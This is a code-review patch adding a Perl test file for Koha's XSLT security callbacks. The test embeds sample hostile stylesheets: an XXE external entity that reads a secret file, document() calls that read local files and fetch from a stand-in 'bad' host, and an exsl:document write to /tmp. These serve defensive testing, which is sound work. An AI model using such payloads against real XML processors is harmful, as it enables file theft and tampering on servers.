View | Details | Raw Unified | Return to bug 23290
Collapse All | Expand All

(-)a/t/db_dependent/Koha/XSLT/Security.t (-1 / +116 lines)
Line 0 Link Here
0
- 
1
#!/usr/bin/perl
2
3
# Copyright 2019 Rijksmuseum
4
#
5
# This file is part of Koha.
6
#
7
# Koha is free software; you can redistribute it and/or modify it under the
8
# terms of the GNU General Public License as published by the Free Software
9
# Foundation; either version 3 of the License, or (at your option) any later
10
# version.
11
#
12
# Koha is distributed in the hope that it will be useful, but WITHOUT ANY
13
# WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR
14
# A PARTICULAR PURPOSE.  See the GNU General Public License for more details.
15
#
16
# You should have received a copy of the GNU General Public License along
17
# with Koha; if not, write to the Free Software Foundation, Inc.,
18
# 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
19
20
use Modern::Perl;
21
use File::Temp qw/tempfile/;
22
use Test::More tests => 6;
23
use Test::Warn;
24
25
use Koha::XSLT::Base;
26
use t::lib::Mocks;
27
28
t::lib::Mocks::mock_config( 'koha_xslt_security', { expand_entities => 1 } );
29
my $engine=Koha::XSLT::Base->new;
30
31
my $secret_file = mytempfile('Big secret');
32
my $xslt=<<"EOT";
33
<!DOCTYPE test [<!ENTITY secret SYSTEM "$secret_file">]>
34
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
35
  <xsl:output method="xml" encoding="UTF-8" version="1.0" indent="yes"/>
36
  <xsl:variable name="secret">&secret;</xsl:variable>
37
  <xsl:template match="/">
38
      <secret><xsl:value-of select="\$secret"/></secret>
39
  </xsl:template>
40
</xsl:stylesheet>
41
EOT
42
my $xslt_file = mytempfile($xslt);
43
44
my $output= $engine->transform( "<ignored/>", $xslt_file );
45
like($output, qr/Big secret/, 'external entity got through');
46
47
t::lib::Mocks::mock_config( 'koha_xslt_security', { expand_entities => 0 } );
48
$engine=Koha::XSLT::Base->new;
49
$output= $engine->transform( "<ignored/>", $xslt_file );
50
unlike($output, qr/Big secret/, 'external entity did not get through');
51
52
# Adding a document call to trigger callback for read_file
53
# Does not depend on expand_entities; we are not in strict mode now
54
$xslt=<<"EOT";
55
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
56
  <xsl:output method="xml" encoding="UTF-8" version="1.0" indent="yes"/>
57
  <xsl:template match="/">
58
      <read_file><xsl:copy-of select="document('file://$secret_file')"/></read_file>
59
  </xsl:template>
60
</xsl:stylesheet>
61
EOT
62
$xslt_file = mytempfile($xslt);
63
warning_like { $output= $engine->transform( "<ignored/>", $xslt_file ); }
64
    qr/read_file called in XML::LibXSLT/,
65
    'Triggered security callback for read_file';
66
67
# Trigger write_file
68
$xslt=<<"EOT";
69
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:exsl="http://exslt.org/common" extension-element-prefixes="exsl">
70
  <xsl:output method="xml" encoding="UTF-8" version="1.0" indent="yes"/>
71
  <xsl:template match="/">
72
      <exsl:document href="file:///tmp/breached.txt" omit-xml-declaration="yes" method="text"><xsl:text>Breached!</xsl:text></exsl:document>
73
  </xsl:template>
74
</xsl:stylesheet>
75
EOT
76
$xslt_file = mytempfile($xslt);
77
warning_like { $output= $engine->transform( "<ignored/>", $xslt_file ); }
78
    qr/write_file called in XML::LibXSLT/,
79
    'Triggered security callback for write_file';
80
81
# Trigger read_net
82
$xslt=<<"EOT";
83
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
84
  <xsl:output method="xml" encoding="UTF-8" version="1.0" indent="yes"/>
85
  <xsl:template match="/">
86
      <xsl:copy-of select="document('http://bad.koha-community.org/dangerous/exploit.xsl')" />
87
  </xsl:template>
88
</xsl:stylesheet>
89
EOT
90
$xslt_file = mytempfile($xslt);
91
warning_like { $output= $engine->transform( "<ignored/>", $xslt_file ); }
92
    qr/read_net called in XML::LibXSLT/,
93
    'Triggered security callback for read_net';
94
95
# Check remote import (include should be similar)
96
# Trusting koha-community.org DNS here ;)
97
# This should not trigger read_net but fail on the missing import.
98
$xslt=<<"EOT";
99
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
100
  <xsl:import href="http://notexpected.koha-community.org/noxsl/nothing.xsl"/>
101
  <xsl:output method="xml" encoding="UTF-8" version="1.0" indent="yes"/>
102
  <xsl:template match="/"/>
103
</xsl:stylesheet>
104
EOT
105
$xslt_file = mytempfile($xslt);
106
$engine->print_warns(1);
107
warning_like { $output= $engine->transform( "<ignored/>", $xslt_file ); }
108
    qr/I\/O warning : failed to load external entity/,
109
    'Remote import does not fail on read_net';
110
111
sub mytempfile {
112
    my ( $fh, $fn ) = tempfile( SUFFIX => '.xsl', UNLINK => 1 );
113
    print $fh $_[0]//'';
114
    close $fh;
115
    return $fn;
116
}

Return to bug 23290